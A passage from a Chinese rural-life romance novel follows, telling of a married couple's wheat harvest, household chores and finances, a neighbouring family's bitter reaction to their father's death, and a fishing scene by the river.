猪长大后体型不小,猪圈不能太小,裴厌弄回来不少石块,在旁边堆成一堆,两人商量好地方和大小后,他用铁锹划出痕迹,便开始挖地基。 猪圈要弄得结实点,得有个地基撑着,万一刮风下雨倒了,猪圈坏了还能修,砸伤猪仔就不好了。 顾兰时拿了铁锹从另一边挖,干着活说说家常话,似乎也没那么累。 傍晚时分,趁天色亮,浴桶里的水倒好了,顾兰时先洗。 最近洗得勤,身上没那么多污垢,只是出汗而已,劳累一天,泡一会儿热水舒坦。 他擦擦洗干净的湿头发后靠着桶璧歇息,忽然房门打开了一扇,他转头一看,裴厌进来了。 就算白天也做过那档子事,顾兰时还是有点羞,往水里一缩,无意识睁大眼睛有点惶恐地问道:“你、你进来做什么?” 裴厌刚才在外面洗头发,拧出水后随意擦了擦,实在没按捺住,径直闯进来。 他看起来有点无措,但抬起眼睛后还是盯着顾兰时,嗓音微微沙哑,说:“一起洗方便,不用再烧水了。” “啊?”顾兰时有点蒙,这听起来不怎么有道理。 然而裴厌像是自己说服了自己,喉结十分明显滑动了一下,边走边解衣裳。 “别、你别进来……” 夏天衣服本来就薄,顾兰时看得一清二楚,连忙转过脸没敢多看,他有心想阻止,可话还没说完,浴桶里就进来一个人,原本还算大的木桶瞬间变挤了。 做浴桶的时候,因裴厌高大,特地嘱咐木匠做的大一点,不然他胳膊腿摆不开,坐在里面会局促,当时还没想到,如今倒真便宜了他。 上了头的汉子什么都顾不得,火急火燎啃进嘴里,咬着就不肯放了。 顾兰时从一开始就知道事情不妙,想出去却被裴厌长胳膊一捞,又跌坐回去。 水波晃动不停,溢出来的水滴落在地上,打湿了好一片。 * 对顾兰时来说,日子多了份“差事”,他不是不愿,有时也能从其中得几分趣味欢乐,藏在嘴巴里紧紧闭着,不敢让任何人听到,然而裴厌总有些不知足,便成了件苦差事。 好在农忙要干活,裴厌没有失了理智。 日子过得还算有滋有味,在忙碌中眨眼就到割麦的时候,清晨太阳还没出来,顾兰时觉察到旁边的动静醒来。 已经穿好的裴厌见他睡眼惺忪坐起来,中衣早在昨晚的贴贴摸摸中蹭掉了,没忍住在他肩膀和颈侧啃了几口,又是亲又是咬的。 顾兰时不耐烦推开他脑袋,连话都不想说,自顾自找衣裳穿。 裴厌被嫌弃也不气馁,心情再没有最近这般好,眉眼里露出一点很淡的笑意,说:“我去热馒头。” “嗯。”顾兰时揉揉脸蛋,这才彻底清醒。 他一走出房门,大黑摇着尾巴朝他走来,前两天梳过毛后,大黑就比以前对人多了几分黏糊劲,看见裴厌还能好点,或许是害怕,看见他就有点不同,走到哪里都跟着,也不再呲牙了。 顾兰时看一眼大黑,又看一眼烧火的裴厌,心里有种说不上来的感觉。 还没想出个所以然,裴厌问他吃不吃鸡蛋,今天要干活,还剩下一个蛋,放的时间也久了。 顾兰时思绪被打断,一边应好一边进了灶房,要赶紧吃完去地里割麦,多耽误一两天,麦粒晒得太干很容易掉进地里。 第56章 麦田里,众人干得热火朝天。 每逢割麦的时候天气炎热,晌午时风竟像滚烫的,一吹来连带着蒸腾起土热暑气,仿佛鼻腔里都带着麦秸和尘土味道的热意,又干又燥。 顾兰时天生白些,麦芒扎在胳膊上脖子上,刺出片片红点,他脸颊被晒得发红,天这么热,斗笠和草帽有点戴不住,不过被晒得脸发烫发疼之后,他还是戴上了,好歹遮遮。 裴厌长手长脚,干活本来就麻利,已经将他甩在身后,这边只有一亩地,他两起得又早,下地时天还没亮,看样子连割带捆到下午就能弄完。 割麦是件要紧的事,顾兰时戴上草帽喘一口气,话都来不及说,又弯腰用镰刀割。 昨天就把镰刀磨得又快又亮,今日果然顺手了许多,麦秸在快镰面前如豆腐一般,嚓嚓几声就是一茬麦子。 他割够一捆就用长麦秸绕几圈,手上十分熟练,很快就将一捆麦子捆扎好,干惯农活的人大多都会这点手艺,裴厌同样如此,一边割一边捆。 要说只割麦子,裴厌这么个壮劳力,一个人一天就能割一亩,甚至更多,可他们就两个人,为快点收完,腾不出专门捆扎麦子的人手,不像顾兰时之前在家里的时候,竹哥儿割不了几把麦子,跟在其他人身后捆绑。 好在两人都年轻,也不是干活偷懒的人,汗水洒在黄土地里,又被太阳晒干,随着镰刀渐渐变得沉重起来,身后扎好的麦子一捆一捆排列,看着齐整又舒坦。 为早点割完自家好去白大财主那里挣点工钱,裴厌前两天去镇上四处打听,最后买了辆旧板车回来,不然靠他俩用扁担挑,太费工夫了。 板车又旧又破,好几个洞,回来后找了木板钉好,将窟窿补上才能用,不过胜在能便宜点。 太阳越大,即便隔着衣裳,顾兰时也能感受到那股炙热,他渴极了,直起腰擦擦满头满脸的汗,走到田垄上将落在后面的陶罐拎过来,倒了碗薄荷水痛痛快快喝一场。 “喝点水。”他边走边朝前面的裴厌喊。 裴厌将手里的一把麦子割下,直起腰用脖子上的布巾擦一下快滴到眼睛里热辣辣的汗水,热得眼睛眯起来,脸上那条疤都是红的。 顾兰时已经看惯了,不觉得有什么,上前给他倒了一碗水,随后把瓦罐放在田垄上,自己又往回走,等他割过来的时候还能再喝一碗。 眼瞅着太阳一大,麦子更干了,裴厌也顾不上说话,喝完又弯下腰割麦。 到吃饭的时辰后,两人饿得肚子直叫,陶罐里的水喝完了,又渴又饿,但顾兰时一看所剩不多了,便同裴厌说一声,加把劲一口气割完他再回去做饭。 粮食金贵,裴厌自然应好。 等割完这一亩后,顾兰时顾不得捆扎,自己用扁担挑了两大捆麦子先回去做饭,不然饿得慌。 做饭很简单,馒头不用热,只用猪油炒了春菜,用老碗盛了满满一大碗,裴厌平时吃的就多,今天又累又饿,菜只能多不能少,吃不饱下午没力气。 他做完饭顾不上先吃,拎起装满水的瓦罐,脚步匆匆又往地里赶。 他不过去的话,裴厌是不会拉着板车回来的。 麦子在地里一捆捆扎好了,若没人看着,说不定会有顺手牵羊的,别看村子里都是熟人,可为了一口粮食,总有些人手不干净,谨慎些总没错。 瓦罐口上放了一个碗,既能当盖子使还能用来喝水盛东西,他切了几片疙瘩咸菜和两个白面馒头放在碗里。 到地里的时候,裴厌已经装好一板车麦子,正用麻绳捆车。 “歇歇吧,先喝点水。”顾兰时把瓦罐放在田垄上,觉得腰疼他直接坐下去,眯着眼去瞧裴厌。 方才回去的时候太忙,洗了手炒菜,都顾不上洗脸,脸上本来就有麦尘,被汗水一打,脸都是花的。 裴厌捆好板车后才停下,抽下脖子上的布巾擦擦脸上汗又擦擦手,这才过来吃喝。 顾兰时已经在啃馒头了,冷馒头容易掉渣,他用左手托着,渣子也没放过,全都吃得干干净净。 “咸菜。”等裴厌喝了水后,他把手里的咸菜递过去两片。 他俩都饿极了,狼吞虎咽将馒头和咸菜都解决完,瓦罐里的水到最后也没剩下。 顾兰时怕他腹中饥饿,说道:“菜我都炒好了,你要是饿了先吃,我等下回去再吃。” 裴厌将板车上的绊绳套在肩膀上,开口道:“不用,刚吃了胃里有食,全部拉回去一起吃。” “也好。”顾兰时点点头,这一亩已经割完了,只需往回运就好。 等裴厌拉着车走之后,他歇一下,将田里的一捆捆麦子往地头这边搬,等会儿裴厌过来装车更方便。 到底年轻,吃完饭后裴厌稍歇一下,又带着镰刀板车往另一亩地去,顾兰时同样跟着,头一年自己过日子,劲头十足。 一直到夜晚月亮出来,两人铆足劲干到子时初刻,才将最后一板车麦子拉回家。 农忙时披星戴月是常事,他俩也是一时贪做活,忘了时辰,只想快些割完收回去 到家后麦子铺在地上,不免有尘土飞扬,顾兰时又累又饿,身上也被麦芒扎的,汗水一流有些刺痛。 实在是晚了,都快到半夜,来不及炒菜,两人用馒头夹着咸菜和猪油吃,待喘过那一口气后,心总算踏实下来。 睡觉之前,顾兰时打着哈欠,说:“明天起晚些,多歇歇,今日这一遭着实要命,以后还是悠着点。” 裴厌倒还好,不过他也知道人要有张有弛,绷得太紧眼下是没事,病根都给以后积着呢。 今天两亩地都割完了,确实不用那么急,他闭上眼睛答应:“好。” 疲惫驱使,两人很快睡着,第二天快辰时才醒来。 顾兰时盥洗后梳头,从头发里摘出不少麦芒,昨天晚上太累都没闲心洗澡,今天该烧水好生洗一通。 裴厌在院里将麦子铺开,晒几天用石磙碾一碾,干透的麦粒就会脱落。 顾兰时倒了水在菜地,提着空木盆往房里走,说:“麦粒去不去筛?大哥二哥应该还没割完,要不就来找你去白水村了。” “不急,他俩要是没割完,过去帮帮。”裴厌心里记着顾家人的照顾,出力气的活他都能干,一点没推脱。 顾兰时露出个笑,点着头说:“好,不过你记得别那么赶了,缓着劲来,大哥麦地比二哥那边近,先给他割,完了再一起去帮二哥,不过想来今天估计就剩半亩了。” 顾兰生和顾兰河跟他俩一样,当初分家的时候都是两亩水田两亩旱地,田都是良田,足够小家三四人吃饱。 他说着思索一下,又道:“这样,你去帮他俩,我捡完麦穗去看看爹娘他们,今年少了我,估计得忙到明天去,我回去帮着做做饭。” 林家赔的那亩旱田是他爹种的麦苗,爹娘没问他要麦子,他自己心里有点过意不去。 不等裴厌说话,他又开口道:“我估摸着,今天下午大哥二哥就要去白水村,到时你跟着去,我刚好上家里帮忙,饭也在那边吃。” “好。”裴厌点点头,用木叉将麦子摊开铺匀,吃过早食后按着顾兰时吩咐他的,拿了镰刀往地里去。 顾兰时和他一起出门,背着竹筐先去拾捡麦穗,昨天晚上回来的时候其实捡了一遍,他不放心,肯定有遗漏的。 看一眼天色,他开口:“今天起来迟了,说不定已经被别人捡了。” 睡了一晚,裴厌精神头明显看着比他好,神色虽不显,但语气十分和缓,安慰道:“不差那一点,这两天挣点工钱,足够今年吃喝了。” 顾兰时点点头,边走边沿路瞅:“嗯,我过去转转,路上说不定能捡几根。” 裴厌眉眼带了一点笑意,他俩起得迟了,路上没碰见几个人,只有小孩和老人拾麦穗,见了他也都躲着,因此没人发觉他如今的变化。 两人在岔路口分开,顾兰时到地里后果然没找到几根麦穗,连明显的麦粒也没有多少,只找到些混在泥土中的麦粒,在别人挑着担拉着板车走过后,他跟在后面捡了几根掉下的穗子。 他没太纠结这事,麦子大头已经收回去了,饿不到他俩,不至于为一点麦穗麦粒烦恼叹气,随即转了道,往家中田地走,看看他爹娘割的如何了。 苗秋莲顾铁山几人正在忙碌,他一去帮着捆扎,其他人就能轻点,到时辰后问他娘要了门上钥匙回去做饭。 至于裴厌,他大哥二哥住得近,二嫂带着三个毛头小子在地里捡穗子,大嫂做了两家饭,忙完地里活后连同裴厌一起已经吃过了。 收麦子是急事,挣钱也要紧,做短工一天要挣六十文呢,就算只有半天,也能拿三十文,顾铁山没让儿子和儿婿来帮忙,他这边只剩两亩地,有顾兰时和老大老二媳妇帮忙足够了。 做工一般要早上去,不过收麦子势头紧,干完自家活再来做短工的人比比皆是。 裴厌跟着顾兰生顾兰河再次来到白水村,管事的在地头记人名,同样晒得满脸汗,来的汉子有一个算一个,都赶紧让下地,收不完要是后面变了天下雨,所有人都得干瞪眼。 干农活哪有不苦不累的,但看着收回来的麦子心里很踏实。 顾兰时帮着家里收完麦后,第二天就不用去了,后头拾穗子筛麦粒的活自有他娘和竹哥儿狗儿。 裴厌一大早去白水村了,他在家翻晒麦子,还要打草喂牲口。 他翻完一遍后将木叉靠在墙上,喝水歇脚的时候心想等过几天晒干了,石碾太沉重,得用家里驴子,到时让裴厌和他一起回家先帮他爹娘碾场脱粒,不然不好张口。 打定主意后他没有歇息,拎了竹筐出去打猪草,打了猪草回来后也闲不下,拿了块趁手的木板和簸箕去地里筛麦粒。 他用木板将混着土的麦粒都铲到簸箕上,也没去其他地方,就站在地里颠簸扬洒,干土随风渐渐被吹走,一番灰头土脸簸粮后,弄了不少麦粒。 这是个脏活慢活,好在只有两亩地,遗漏的麦粒也不算多,他干到晌午太阳最大的时候才回去,满头满脸都有扬尘。 从地里一路走回来,到处都能看见麦秸,路过裴家门口时顾兰时没多看,不曾想里头忽然传来一声哭嚎,吓了他一跳,忍不住听了一耳朵,竟是裴兴旺死了。 第57章 说起来自从两年前裴兴旺在山里摔了后,就常在炕上躺着,只偶尔在院里走动,别说顾兰时,就连附近几户邻家都很少见他出门。 顾兰时顿足看了一眼,院里没人,只有摊开的麦子,声音是从屋子里发出来的,而且只有叶金蓉一人嚎啕大哭,其他人没听见声音也不见身影,应该在地里忙活。 碍于裴厌和他们之间那些事,说得不好听是一笔烂账,他没在裴家门口多停留,万一被村里人看见,也不知会生出什么闲话,背着竹筐拎了簸箕回家。 之前他阿奶听村里人说,裴兴旺一直不见好,面色枯槁没了多少生机,甚至去年冬天就有人说可能熬不过去了,倒是出乎村里老人的预料,今日才咽了气。 和裴厌成亲后各种忙碌,后山离村子远,左右没有邻居,顾兰时很久没听过村里闲话了,只有回家时他娘告诉他一点事,也曾提过一嘴裴家。 为给裴兴旺和裴胜看病治伤,裴家家底都快掏空了,如今方云掌家,叶金蓉对大儿子有愧,不敢说一个字。 方云掌家却一点都不痛快,家里哪里多余的钱粮能支使,一家老小全都勒紧裤腰带过日子。 眼瞅着铜板一天比一天少,裴胜也就算了,又瘸又残的,但好歹能干点活,裴兴旺躺了两年,见天儿喊头晕不能动,等于张嘴白吃饭,一点活不干。 原先还能体谅他病了,可时日一久,家道本就破落了,穷的一天到晚净琢磨要怎么吃饱,再养个废人心里哪能舒坦,那又不是她亲爹,况且裴兴旺之所以落到那个下场,全是自己不积德,谁让他两口子黑了心,连亲儿子都不认。 方云看得一清二楚,心里再埋怨也无济于事,谁让她命不好,偏偏嫁裴家来了,至于自己曾经的那点小算盘,她不觉得有什么,最过分的不还是裴家人。 种种缘由,叫她也逐渐狠了心,能不给裴兴旺抓药就不抓,就算去抓,也买的都是便宜药材,能把命吊着那都是她好心了。 顾兰时走远之后,裴家邻居看不下去,又劝不住大哭的叶金蓉,只好让一个人跑去地里,把方云一干人叫回来。 几个人回来后站在炕前看一眼,都顾不上去劝叶金蓉,见裴兴旺果真没了气息,都不约而同在心里松了口气,以后就不用再花那份买药钱了,也少了一张嘴吃饭。 确认过后,方云这才掏出手帕咿咿呀呀哭起来,裴虎子还好,回过神后见亲爹死了,亲娘又哭得凄惨,不免落了几滴泪。 裴春艳作为老小,她是个姑娘,虽不至于像裴厌那样从小挨打,但向来在家里沉默寡言的,见她娘哭成那样,眼中泛起泪花,但依旧没哭出声。 裴胜遭了两次劫,早没了先前的心劲,性格也变得古怪孤僻,亲爹死了他站在土炕前没哭,只冷冷盯着裴兴旺那张枯槁干瘦的脸。 从小到大,每次打裴厌都是老两口先动手,他不过跟着学而已,没有裴虎子的时候,裴兴旺说他是老大,以后家里所有东西都是他的,没有裴厌的份,他自然高兴。 后来有了裴虎子,他爹娘心有点偏向小儿子,他气不过,但打了裴虎子他爹会打他,只能拿裴厌出气,不过那小子从小是个硬骨头,每次挨揍都不服软,被打得再惨也只是缩在柴房不吭声。 后来他长大一点,每天要帮家里干活,裴厌同样如此,不是上山捡柴就是去打草,倒是打的少了。 不曾想在裴厌手里遭了大罪,成了这幅模样,走路上甚至有小孩学他瘸腿的样子,他几乎气疯,拿了棍子要去打那几个黑心野种,但最后被村里其他人拦下了,那几家大人也指着他鼻子骂,跟个孩子计较什么。 从那以后,他心气越发没落,但始终有股怨气凝聚在腔子里,抒发不得以至十分痛苦。 后来叶金蓉害他没了两根手指,恨意便转到裴兴旺和叶金蓉两个人身上,都是他俩造的孽,因果却报应到他身上,凭什么? 叶金蓉坐在地上哭得一把鼻涕一把泪,她老了,裴兴旺一死真成了寡妇,儿子儿媳又不喜她,甚至怨恨,以后日子可怎么过,于是她越哭越伤心,斑白头发越发显得苍老。 而裴胜直愣愣盯着裴兴旺,心中一股恨意再没有这般强烈,他死了,一了百了,自己却还要活在这世上受罪受嘲笑。 方云正假惺惺哭,突然听见一声大叫,就见裴胜扑过去死死掐住裴兴旺脖子,她吓得也不哭了,连忙上来拉扯。 “你去死!去死!” 裴胜怒目圆睁,恨到了极点,额角青筋都暴出来,掐着裴兴旺脖子不放,好似得了癔症般发狂。 裴虎子也赶忙上来拉,一个死了一个疯了,他又急又气,一会儿邻里说不定会过来帮忙,让人家看见了又要生出闲话。 裴胜凭着心里那股恨意死死掐住裴兴旺脖子,两个人费了一番力气才将他拉开。 这场面吓得裴春艳直往后退,叶金蓉眼睛直愣愣发呆,也不哭了,坐在地上像是失了魂。 裴家乱糟糟一片,大人吵小孩哭,没个主心骨发话,等门外进来邻居和本家亲戚后,才有了发话管事的。 * 到家后,一开锁大黑正趴在门后看家,顾兰时一进门,它立马爬起来,尾巴在身后小幅摇晃,见顾兰时没理它,它跟在后面走, 把筛出来的麦粒倒在麦场空旷处,麦粒也得再晒晒,干透了才好贮藏。 顾兰时蹲下用手把这一小堆麦粒铺平,不想大黑竟在后面用脑袋蹭他脊背。 这么大个狗,头一回蹭人,两三下后显得有些激动,脑袋一用力差点把顾兰时撞得往前扑。 稳住身形后,顾兰时有点怕也有点疑惑,不知道大黑今天是怎么了,他回头一看,大狗摇着尾巴咧嘴跟笑一样,像是在讨好。 这两天翻晒麦子,它有时会在麦子上趴着,长毛里挂了些麦秸,又常趴在地上,有点脏兮兮的。 一旦农忙,别说狗,人身上也脏,顾兰时倒不是嫌弃它,而是觉得之前洗好的长毛又脏了打结。 这会儿正热,去河边蹚水消消暑也好,后山树多,石头池子那里有阴凉。 可裴厌不在家,他一个人有点害怕,万一洗的时候给大黑毛发揪疼了,是不是会咬他。 不过,看一眼大黑摇尾巴的模样,顾兰时心中稍定,好像也没那么可怕,于是拍拍手上尘土起身,抓了一把野澡珠喊大黑一起出门。 平时都是自己看家,大黑很少被喊出去和人走,越发激动,摇着尾巴等锁门,不住转圈圈,时而又用脑袋蹭顾兰时大腿。 到河边后,顾兰时在石头池子下游找了平缓的地方,脱了草鞋先下水洗洗腿脚,见大黑在不远处喝水,等它喝够了以后喊过来。 “去,下去。”他指指河水,然而大黑却没有进水里,蹲坐在他面前歪脑袋。 顾兰时没办法,只好试着伸手推了推它,见大黑没反抗,才敢用力将狗推进水里。 撩了几下水,因大黑体型大腿长,这两天他干活又累,胳膊有点酸,想了想就用裴厌那招,手按在大黑脖子上将它往下压。 他没敢用力,同样只是试试,没想到大黑直接趴进水里,许是记得上一次洗时被裴厌捏住嘴筒子,它也不再大张嘴露出尖牙。 顾兰时松一口气,总算理解了他的用意。 洗狗是个力气活,幸好这回大黑没有那么脏,一人一狗在河边洗洗涮涮,好一阵后才上岸。 大黑一直以来畏惧裴厌,上回洗澡时早记住了,等人走远几步才敢甩毛,一身水没有溅到顾兰时那边。 “走,回去梳毛。”顾兰时心情很好,率先走在前面,狗养熟了就是不一样,十分忠心,这下他可不怕了。 在院里梳毛的时候他上手左摸摸右翻翻,大黑脾气竟似改好了,就算打结的地方被梳疼,也只是呜咽一声,没有任何攻击的姿态。 梳完后顾兰时出了一身汗,狗自己知道晒太阳,他不再管,洗干净手坐在堂屋喝水歇息,闲下来不免想起裴兴旺死了的事。 他有点犹豫要不要和裴厌说,毕竟已经和裴家断了。 冥思苦想一会儿,他想到裴厌回来应该会走村里的路,只要路过裴家门口,肯定知道发生了什么。 裴厌回来的时候月亮爬上来,星星在天上闪烁,顾兰时已经烧好水,干一天活晚上烫烫脚舒服些。 回来之前在白大财主家吃过了,裴厌盥洗后在屋里泡脚,听顾兰时有意无意提了裴家一嘴,他心里明白,开口道:“我路过时看见了。” 顾兰时没敢接话,将点了药叶的罐子放在桌上,药烟缓缓飘散,驱走了飞进来的小蚊虫,不然夜里要被叮好多包。 裴厌十分坦然,借月色看清顾兰时小心翼翼的神色,他眼中闪过笑意,说:“死就死了,与咱们没有干系,头先他们撵我出来的时候说了,我再不与他们相关,左邻右舍都看着,他们没脸过来找我。” 不止是没脸,更是不敢。 顾兰时听完点点头:“好,那我们也不管他。” 在家里时他娘就不爱与裴家人来往,如今他成亲了,对村里的人情世故还不大熟练,得了裴厌的准话,心里也算踏实了。 白家只管晌午和傍晚两顿饭,早起要在家里吃点东西,顾兰时上炕躺下,打着哈欠问裴厌明早想吃什么。 他俩说几句闲话,天色晚了,裴厌倒了水进来,原本不甘心自己睡一个被窝,又一想自己身上脏,只得作罢,趁顾兰时半梦半醒,啃了一通嘴他才心满意足,往炕边挪了挪睡下。 第58章 在白大财主家干了六天半,一共挣得三百九十文,再加上之前插秧的工钱,差不多一个月,挣到五百九十文。 不过买板车花了一百文,旧板车做工其实不好,是那家人自己找木头找轮子拼凑而成,要是木匠做的话只会更贵,起码在二钱以上。 原本要一百二十文,但裴厌只肯出一百个钱,讨价还价一阵,最终拿下了。 裴厌今天回来得早一点,天色刚擦黑。 他把今天的六十文交上去,顾兰时一高兴,坐在炕上把之前挣的工钱都倒出来数。 几百个铜板堆在一起,一动哗啦啦的,十分动听。 乡下人菜自己种,家里有米面,很少在外面吃喝,除了必要的东西,其他花钱的地方少,他俩又没病没灾,不用看郎中吃药,自然能攒下。 裴厌坐在炕边看他数钱,累是累,但心里高兴。 顾兰时嘴里念叨着,每数到一百文就把那些铜板放在旁边堆成一堆,数到最后一共三个钱堆两串整钱,另外还有七十二文。 他抬头眼里全是笑意,说:“五百七十二文。” 裴厌从桌上拿了麻绳递给他,开口道:“后面歇两天,我再去码头转转。” 顾兰时接过麻绳,闻言看向他说:“多歇几天,割麦活重,又连着干了这些天,咱们花钱的地方又不多,何必着急,明天我去买点猪肉,汆丸子给你吃。” 他用力拽断一截麻绳,一边穿钱一边道:“再说了,晒麦碾场也要好几天呢,石磙太重,靠咱俩拉太费力气,家里有驴子,回头先帮爹他们碾了场,咱们再和大哥二哥分别借驴子使。” 有五百整钱要穿起来,裴厌拿起麻线团,在手上绕两圈拽断,帮着弄了两截,他点点头:“也好。” 顾兰时这几天在家翻晒麦子,因后面还要种秋豆,不免操心查看,他手上慢了,看着裴厌说:“这一茬忙完,还要翻地把麦子根掘出来,好种柴豆,我看家里留的柴豆种像是只够一亩的,要不这样,我去家里拿二十斤豆子,只多不少,也别向外声张,我拿去一百文,我爹娘肯定不说什么。” 柴豆同样是粮食,和粗米粗面价钱差不多,虽比不上精细粮,遇着丰年能便宜点,但最少也在七八文一斤。 裴厌犹豫问道:“这样合适吗?” 顾兰时大咧咧开口:“这有什么,若按市价我娘肯定心疼咱们,你要心里过不去,改天咱俩上山,挖些笋子捡点山货给家里送去,你不是会打鸟,打两只拿去,他俩肯定高兴。” 铜钱一堆一堆已经数好,只管往麻绳上穿,他说着来了劲,笑眯眯又道:“种柴豆还有一段时日,不急,明天要没事的话,咱俩去山上转转,先把鸟提过去,再提豆子的事,一准就成了。” 能省钱确实不错,听他这么说,裴厌便点头应好。 最近忙,顾兰时一个人有点不愿上山,只在河边和野地挖一些野菜晾晒,心想明天多弄点笋子回来晒干,到冬天时用猪肉炖笋干,可香了。 余下七十二个铜板,他想了下说:“家里盐不多了,得去买一斤半斤的,油还有,猪油也剩了一些没吃完呢。” “先买半斤,够吃一阵的。”裴厌边说边从铜板堆里数了三十枚,如今盐贵,六十文一斤。 乡下人吃盐向来俭省,一下子花六十文出去到底舍不得,那五百文都串好了,整钱还是留着。 只有两个人吃饭,盐确实没那么费,顾兰时把五串钱塞回箱底,笑着说道:“今天晚了,明天烧水你好生洗洗,忙了这些天。” 裴厌也觉得身上脏污,每天在地里一身一身出汗,回来天都黑了,又累又困,顾不上擦洗,都不好往自己夫郎跟前凑,果真听顾兰时提起这个后,他有点窘迫,身体下意识往外侧了侧。 顾兰时合拢箱盖,没看见他举动,转头笑道:“锅里水都烧好了,你泡泡脚,明早多睡一会。” 裴厌答应着往外走,洗完后天彻底黑了。 月色不好,他俩没有点油灯,摸黑上了炕。 虽说用杨柳枝蘸青盐刷了牙齿,刚才也打湿布巾擦了身上,不过一想到自己这几天的汗味,他没往顾兰时那边凑,挨着炕边睡下。 后山寂静,最近两人干活都累了,话没说几句就进入梦乡。 心里一放松,第二天裴厌睁开眼辰时已经过半,太阳早出来了,他看着房顶有点愣神,想不起上一次睡得这么久是什么时候。 窗子早上打开了,顾兰时已经把卷成堆的麦子重新摊开,他放下木叉从院里看过来,上前几步笑道:“我一早上进去好几次,见你没醒就没喊,饿不饿?先吃点东西,完了我烧水你洗澡,换下衣裳我好去洗。” 家里没水井,洗衣裳往河边去最好,不然还要挑水来回跑,太费力气了。 裴厌拿起放在炕边的脏衣服穿上,等会儿洗完再换干净的,他眼神落在顾兰时被太阳照到的脸上,只是多了一个人,往常冷清清的院子像是被什么填满了,他心里有种说不上来的感觉,开口道:“好,先吃东西。” 顾兰时笑眯眯往灶房走,大黑跟在他后面轻晃尾巴,连原来的主人看都没看一眼,蹲坐在灶房门口守着。 裴厌出来看见它,心道这长毛畜生不知什么时候赖着他夫郎了。 心里有种微妙的不爽,但他不好和一只狗计较,于是从后面踹大黑一脚,自己进灶房同顾兰时说话。 他那一脚不重,大黑平常又畏惧他,在他面前跟哑巴狗一样,很少吠叫,挨了一脚后没在人前讨嫌,走到院门口趴下。 垫过肚子后,裴厌出门先打了筐猪草,回来顾兰时烧了两锅开水,足够他好好洗一番。 洗完头发后,裴厌整个人浸在热水里,放松下来后,他靠在桶璧上舒展四肢,胳膊搭在木桶沿上,两边大臂能看见几道浅淡的旧疤。 他身上这些疤痕虽丑陋,但他肌肉结实精瘦,连线条也是好看的,伤疤带来的凶悍感冲淡了美丑。 最近只有晚上才能见到顾兰时,他喉结滑动,但没找到好借口,热水桶和冷水桶都在旁边放着,要添水自己来就好。 不过,搓洗到肩膀时,够不到太后面,他总算有了绝佳的理由,朝外面喊一声兰时。 顾兰时坐在堂屋纳鞋底,一只已经做出来了,听见声音下意识抬头,问怎么了。 一听让他进去搓背,他没起疑心,之前又不是没搓过,地里又是土又是汗的,身上肯定有污垢,于是放下针线进去。 心里想是一回事,真等搓洗时裴厌没好意思真来,没别的,水有点脏,他再度觉得没面子。 顾兰时搓的起劲,最后一瓢温水将裴厌脊背上的脏污冲掉,摸一把肌肉紧实的后背,干干净净的,又用野澡珠的沫子打过,上手一点没有那种油垢滑腻感,心中一下子舒坦了。 “多泡泡更好洗,我先出去了,要是热水不够再喊我。”他说着拿起裴厌脱下的脏衣裳往外走。 裴厌不好作怪,安安分分洗完后,又安安分分换了干净衣裳,等他倒完浴桶里的水顾兰时已经端着盆赶了鸭子去河边洗衣裳了,大黑也不在。 缸里水不多了,他拿了扁担和水桶往河边走,还没到跟前就看见石头池子边上的人,脚步一下子加快。 顾兰时听见脚步声转头,树影婆娑,映在他身上,见裴厌是来挑水,他笑笑转过头继续搓洗衣裳,想起几句闲话说道:“才我看见鸭子在水里抓到小鱼吃了,你会不会钓鱼?我爹夏天有时候会在河里网鱼,狗儿小时候还挺能耐,找个铁钩子挂上地龙,半晌能钓到好几条。” 裴厌原本要往上游去打水,听他说话于是在旁边站定,末了开口道:“钓鱼没试过,叉鱼倒是能弄上来几条。” 十四岁之前他在裴家根本没法和村里其他孩子一样玩耍钓鱼,离家之后,行军路遇河流,跟着兵卒们会叉鱼打打牙祭,倒是学了一手。 成亲后确实没吃过鱼虾这些水里的东西,裴厌心中一动,边往上游走边说:“等我挑满水,削根树枝叉两条鱼上来。” 顾兰时眼睛亮晶晶的,新鲜的鱼肉细嫩,他提起这茬本就是有点馋了,才说了这么一嘴。 不过没想着为难裴厌,心里盘算着裴厌要是不会钓,等他爹网鱼的时候去要两条就行,没成想裴厌会叉鱼。 他没赶着催促,挑水也费力气呢,自己把衣裳从里到外搓洗一遍,捣碎几个大的野澡珠,随后搬了块平整的石头坐下,用棒槌不断捶打。 六只鸭子在水里游来游去,捉不到小鱼小虾就啄水草吃,大黑原本在河边喝水瞎转悠,太阳渐渐大了,它干脆蹚进水里。 裴厌衣裳挺脏的,要多洗几遍。 顾兰时一边捶打一边看向河里的鸭子,怕它们游远了,没想到一时不察,大黑竟游到了河里,刚好挡在快游走的鸭子前面。 他立马直起腰,怕大黑咬鸭子,最后发现大黑只是阻拦鸭子游远,将它们逼了回去。 接着大黑从河中狗刨游到石头池子这片浅水处趴下。 顾兰时有点惊讶,大黑都会看鸭子了。 从前他们家那条老狗黑儿就会看鸭子,不过是站在岸边,一旦鸭子游远了,它就站在岸边叫,鸭子也十分聪明,一听狗叫就回来,不再往远处去。 母鸭能下蛋也能吃肉,村里家家户户都对水禽看得紧,不然离了视线被别人摸走,再要回来可不容易,能顺手牵羊的哪会是要脸面的人。 顾兰时将衣裳翻个面继续捶,笑着对大黑说:“你也该学着对它们叫,等它们惯了后,你一叫它们就知道要回来了,以后天冷你不用下水。” 大黑趴在水里吐舌头,时而舔几口水,听到顾兰时说话它看过来,一双棕色眼睛似乎充满了疑惑,听着听着连脑袋也歪了下。 一看这样子,顾兰时就知道它可能没听懂,他笑笑没再和狗念叨。 等裴厌挑满一缸水,拿了柴刀和空桶过来,他捶打衣裳的动作停下,眼神带了几分期待。 掉落在地上的树枝要么太细要么腐朽了,裴厌挑拣一番没一个看上眼的,最后爬上树用柴刀砍了一根趁手的下来。 他胳膊长腿长,爬树很快,顾兰时在下面看得羡慕,个子高就是好,做什么都厉害。他小时候也会爬树,但爬的不高,树皮又粗糙,滑下来时一个不慎会磨得手心疼,后来就不爬了,如今大了,手脚没那么灵活,再想上去估计艰难。 砍掉的树枝掉在地上,裴厌从树上溜下来,拍拍身上的土屑,捡起树枝将一头削尖。 比起三根叉刺的正经鱼叉,树枝显得潦草许多,不过只要力气大,手下功夫准,叉鱼不在话下。 等他挽起裤管下了河,一抬眼就看见顾兰时走过来,眼睛都是亮的,心里登时一紧,连神色也凝重起来,今天要不叉几条鱼上来,恐怕顾兰时眼睛得黯淡下去。 蹚水到平缓的地段,裴厌凝神静气,手握着树枝缓缓走动,四处搜寻鱼迹。 顾兰时站在岸边放轻了呼吸,怕自己惊动鱼儿,等看到裴厌手起再落下,河水四溅,再举起来,树枝尖头上一条大鱼被扎中,剧烈扭动身躯,尾巴在空中乱拍。 “真的有!” 